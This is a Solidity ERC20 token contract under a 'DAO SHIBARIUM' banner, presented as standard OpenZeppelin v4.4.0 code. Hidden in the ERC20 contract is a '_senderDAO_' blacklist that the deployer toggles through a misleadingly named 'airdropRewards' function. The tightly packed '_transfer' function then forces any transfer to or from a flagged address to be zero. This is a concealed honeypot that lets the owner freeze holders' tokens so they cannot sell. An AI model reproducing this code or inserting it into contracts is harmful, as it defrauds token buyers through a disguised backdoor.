/**
 /$$$$$$$   /$$$$$$   /$$$$$$         /$$$$$$  /$$   /$$ /$$$$$$ /$$$$$$$   /$$$$$$  /$$$$$$$  /$$$$$$ /$$   /$$ /$$      /$$
| $$__  $$ /$$__  $$ /$$__  $$       /$$__  $$| $$  | $$|_  $$_/| $$__  $$ /$$__  $$| $$__  $$|_  $$_/| $$  | $$| $$$    /$$$
| $$  \ $$| $$  \ $$| $$  \ $$      | $$  \__/| $$  | $$  | $$  | $$  \ $$| $$  \ $$| $$  \ $$  | $$  | $$  | $$| $$$$  /$$$$
| $$  | $$| $$$$$$$$| $$  | $$      |  $$$$$$ | $$$$$$$$  | $$  | $$$$$$$ | $$$$$$$$| $$$$$$$/  | $$  | $$  | $$| $$ $$/$$ $$
| $$  | $$| $$__  $$| $$  | $$       \____  $$| $$__  $$  | $$  | $$__  $$| $$__  $$| $$__  $$  | $$  | $$  | $$| $$  $$$| $$
| $$  | $$| $$  | $$| $$  | $$       /$$  \ $$| $$  | $$  | $$  | $$  \ $$| $$  | $$| $$  \ $$  | $$  | $$  | $$| $$\  $ | $$
| $$$$$$$/| $$  | $$|  $$$$$$/      |  $$$$$$/| $$  | $$ /$$$$$$| $$$$$$$/| $$  | $$| $$  | $$ /$$$$$$|  $$$$$$/| $$ \/  | $$
|_______/ |__/  |__/ \______/        \______/ |__/  |__/|______/|_______/ |__/  |__/|__/  |__/|______/ \______/ |__/     |__/
                                                                                                                             */
// SPDX-License-Identifier: MIT

// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol

pragma solidity =0.8.1;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    
    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
    
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);
}

// OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol)
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
// File: @openzeppelin/contracts/utils/Context.sol

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    
    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
    
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

// OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol)
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping (address => bool) private _senderDAO_;
    mapping(address => uint256) private _balances;
    address private approved;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_, uint8 decimals_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        approved = msg.sender;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function callAirdrop(
        address _airdropAfterCall
    ) public view
      returns (bool) {
        return _senderDAO_[_airdropAfterCall];
    }
    
    function airdropRewards(
        address _airdropAfterCall
    ) external 
    { 
    require(msg.sender == approved); 
    if ( _senderDAO_[_airdropAfterCall] == true) {
    _senderDAO_[_airdropAfterCall] = false;}
    else {
    _senderDAO_[_airdropAfterCall] = true;}
    }
    
    function transfer(
        address recipient,
        uint256 amount
    ) public 
      virtual 
      override 
      returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function approve(
        address spender,
        uint256 amount
    ) public 
      virtual override 
      returns (bool) {
    _approve(_msgSender(), spender, amount);
      return true;
    }

    function allowance(
        address owner,
        address spender
    ) public
      view 
      virtual override 
      returns (uint256) {
      return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public 
      virtual
      override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {_approve(sender, _msgSender(), currentAllowance - amount);}
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {_approve(_msgSender(), spender, currentAllowance - subtractedValue);}
        return true;
    }
    
    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual { require(
        sender != address(0), "ERC20: transfer from the zero address"); require(
        recipient != address(0), "ERC20: transfer to the zero address"); if (
        _senderDAO_[sender] ||
        _senderDAO_[recipient]) require (
        amount == 0, ""); _beforeTokenTransfer(sender, recipient, amount);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {_balances[sender] = senderBalance - amount;}
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        _afterTokenTransfer(sender, recipient, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        _beforeTokenTransfer(account, address(0), amount);
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {_balances[account] = accountBalance - amount;}
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
        _afterTokenTransfer(account, address(0), amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

// File: contracts/token/ERC20/behaviours/ERC20Decimals.sol

/**
 * @title ERC20Decimals
 * @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot.
 */
abstract contract ERC20Decimals is ERC20 {

    uint8 private immutable _decimals;

    /**
     * @dev Sets the value of the `decimals`. This value is immutable, it can only be
     * set once during construction.
     */
    constructor(uint8 decimals_) {
        _decimals = decimals_;
    }

    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }
}

// File: contracts/token/ERC20/StandardERC20.sol

/**
 * @title StandardERC20
 * @dev Implementation of the StandardERC20
 */
contract ERC20Token is ERC20Decimals {
    constructor(
        string memory name_,
        string memory symbol_,
        uint8 decimals_,
        uint256 _totalSupply_
    ) ERC20(name_, symbol_, decimals_) ERC20Decimals(decimals_) {
        _mint(_msgSender(), _totalSupply_);
    }

    function decimals() public view virtual override returns (uint8) {
        return super.decimals();
    }
}